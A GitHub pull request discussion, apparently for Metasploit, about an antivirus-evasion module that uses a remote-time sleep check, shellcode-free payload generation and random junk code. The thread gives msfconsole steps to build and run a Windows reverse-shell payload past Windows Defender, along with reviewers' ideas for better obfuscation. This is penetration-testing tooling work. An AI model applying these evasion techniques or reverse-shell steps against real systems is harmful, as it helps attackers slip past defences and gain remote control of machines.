Evasion module - no_shellcode/Time obfuscation

[araout42]

This is a new evasion module, with 2 technique in it ,

No_shellcode : There is no shellcode declared in the file, so no big data array in the .data section
Time obfuscation : The well known technique with a sleep, to check if the sleep is not simulated by the AV product
except that we check for the time from a distant server (worldtimeapi), so no AV will trick us with fake system clock

it also include some random code junk such as fibonnacci calucation, euclidian calculation, or binary search, or random array sorting

windows defender should not block the payload and should not detect it, but when launched and the shell connected in the metasploit listener it then get detected by network traffic or in-memory anlysis

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use evasion/windows/time_obfuscation_no_shellcode
• set payload windows/shell/reverse_tcp
• set lhost ... ...
• exploit
• setup handler
• execute the payload on a windows machine on the network
• generate the same payload without evasion module using msfvenom
• check its av detection rate on VirusTotal

##VT demo

-> evasion module https://www.virustotal.com/gui/file/24e9fd7219ea3a611947daa93efa95248f2deb15a2e33b8209ea375439c5b366
->regular payload windows/meterpreter/reverse_tcp with msfvenom
https://www.virustotal.com/gui/file/651f07a81c44b38231d6708aa138239e865f8e9f336648b781ad4b8d13f9e92b?nocache=1

[jvoisin]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

[sempervictus]

Neat, thanks. Seems to target x86 specifically using the mingw stack, wondering if there's any benefit to inclusion of a staging hook for when the time check succeeds either in c or via stager embedding and allow 64b native target.

[araout42]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

Hello, thanks for your comments,
the junk(1) call a function that will return a randomised C function call string
i could not find insyscall_inject where is the code i should use
could you show me wich lines or maybe copy here a portion of code i could insipre from?

[araout42]

Neat, thanks. Seems to target x86 specifically using the mingw stack, wondering if there's any benefit to inclusion of a staging hook for when the time check succeeds either in c or via stager embedding and allow 64b native target.

when the time check succeeds

Hey sempervictus, thanks for your comment, i'm sure this would work on 64b machines
i quite dont understand what do you mean by staging hook can you be more specific :) ?

thanks

[jvoisin]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

Hello, thanks for your comments, the junk(1) call a function that will return a randomised C function call string i could not find insyscall_inject where is the code i should use could you show me wich lines or maybe copy here a portion of code i could insipre from?

eg. here.

You could do something like this:

# Insert a random amount of `junk` on random new lines in `payload`
payload_arr = payload.split("\n")
rand(12..24).times do
  payload_arr.insert(rand(0..payload_arr.size), '#{junk_code(1)}')
end
payload = payload_arr.join("\n")

[araout42]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

Hello, thanks for your comments, the junk(1) call a function that will return a randomised C function call string i could not find insyscall_inject where is the code i should use could you show me wich lines or maybe copy here a portion of code i could insipre from?

eg. here.

You could do something like this:

# Insert a random amount of `junk` on random new lines in `payload`
payload_arr = payload.split("\n")
rand(12..24).times do
  payload_arr.insert(rand(0..payload_arr.size), '#{junk_code(1)}')
end
payload = payload_arr.join("\n")

Thanks, i will put this in the code tomorrow

[sempervictus]

Neat, thanks. Seems to target x86 specifically using the mingw stack, wondering if there's any benefit to inclusion of a staging hook for when the time check succeeds either in c or via stager embedding and allow 64b native target.

when the time check succeeds

Hey sempervictus, thanks for your comment, i'm sure this would work on 64b machines i quite dont understand what do you mean by staging hook can you be more specific :) ?

thanks

This will work on 64b in either target case, most run 32b programs just fine - its how they're run and the heuristic fingerprints of "it" in the target which concern me a bit.

Since the evasion is making outbound http calls already, it has most of the api needed to pull an http stager/handoff to a session should the check pass

[araout42]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

Hello, thanks for your comments, the junk(1) call a function that will return a randomised C function call string i could not find insyscall_inject where is the code i should use could you show me wich lines or maybe copy here a portion of code i could insipre from?

eg. here.

You could do something like this:

# Insert a random amount of `junk` on random new lines in `payload`
payload_arr = payload.split("\n")
rand(12..24).times do
  payload_arr.insert(rand(0..payload_arr.size), '#{junk_code(1)}')
end
payload = payload_arr.join("\n")

well, that will be way more complex than that, must be careful about, the function brackets, if else brackets, do not add junk_code outside function,do not add it in self function an so on

what you're suggesting kinda implies a C parser...

[sempervictus]

I think it would be better to extract the "junk" functions into a function each, like done in modules/evasion/windows/syscall_inject.rb, and sprinkle them randomly into the c code, instead of hardcoding junk(1) everywhere.

Hello, thanks for your comments, the junk(1) call a function that will return a randomised C function call string i could not find insyscall_inject where is the code i should use could you show me wich lines or maybe copy here a portion of code i could insipre from?

eg. here.
You could do something like this:

# Insert a random amount of `junk` on random new lines in `payload`
payload_arr = payload.split("\n")
rand(12..24).times do
  payload_arr.insert(rand(0..payload_arr.size), '#{junk_code(1)}')
end
payload = payload_arr.join("\n")

well, that will be way more complex than that, must be careful about, the function brackets, if else brackets, do not add junk_code outside function,do not add it in self function an so on

what you're suggesting kinda implies a C parser...

Metasm has a basic c parser, might be of use

[jvoisin]

Randomly replace ; with ;junk(1); :D

[araout42]

i've deleted the #{junk(1)}

and added support for x86_32 and x86_64 mingw_compiler, by parsing the payload.inspect @pinst value not sure if it's best way to do it, but only one i found myself

will do the ; to ;junk(1); later on

[smcintyre-r7]

Is this ready for testing and a formal review? It's still marked as a draft but I see there's been some comments on it.

[araout42]

Hello, it's not ready yet. I Still need to imolement jvoisin's advice on randomizing the junk properly.

Would also need a proper way to check for x86 or x64 i'm sure there is a better way than the @ pinst parsing

On top of that i would like to embbed another evasion technique I have in mind in it

Unfortunately I was quite busy in the last month

[smcintyre-r7]

That's okay, I'm going to go ahead and attic this then until you have time to make the changes. Once you're ready, just tag be in this PR and I'll happy to reopen it. Thanks!

[github-actions]

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

• It doesn't look like there has been any activity on this pull request in a while
• We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
• Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!